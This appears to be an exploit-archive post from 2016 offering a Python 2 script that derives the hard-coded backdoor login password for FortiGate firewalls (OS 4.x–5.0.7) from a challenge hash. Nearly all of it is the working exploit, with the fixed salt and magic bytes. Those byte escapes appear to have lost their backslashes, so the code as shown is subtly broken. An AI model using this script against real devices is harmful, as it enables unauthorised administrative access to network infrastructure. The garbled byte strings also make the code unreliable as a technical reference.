Fortigate Backdoor Password Calculator
Posted on 28 March 2016
# Title : Fortigate Backdoor Password calculator # Date : 24 March 2016 # Author : Rishabh Dangwal, original exploit by operator8203@runbox.com. # Author Homepage : www.theprohack.com # Author Email : admin@theprohack.com # Vendor Homepage : www.fortinet.com # Version : FortiGate OS Version 4.x - 5.0.7 import base64 import hashlib print "Enter hash challenge " ; chash = raw_input() pwdhash = hashlib.sha1() pwdhash.update('x00' * 12) pwdhash.update(chash + 'FGTAbc11*xy+Qqz27') pwdhash.update('xA3x88xBAx2Ex42x4CxB0x4Ax53x79x30xC1x31x07xCCx3FxA1x32x90x29xA9x81x5Bx70') fhash = 'AK1' + base64.b64encode('x00' * 12 + pwdhash.digest()) print "password is %s" %fhash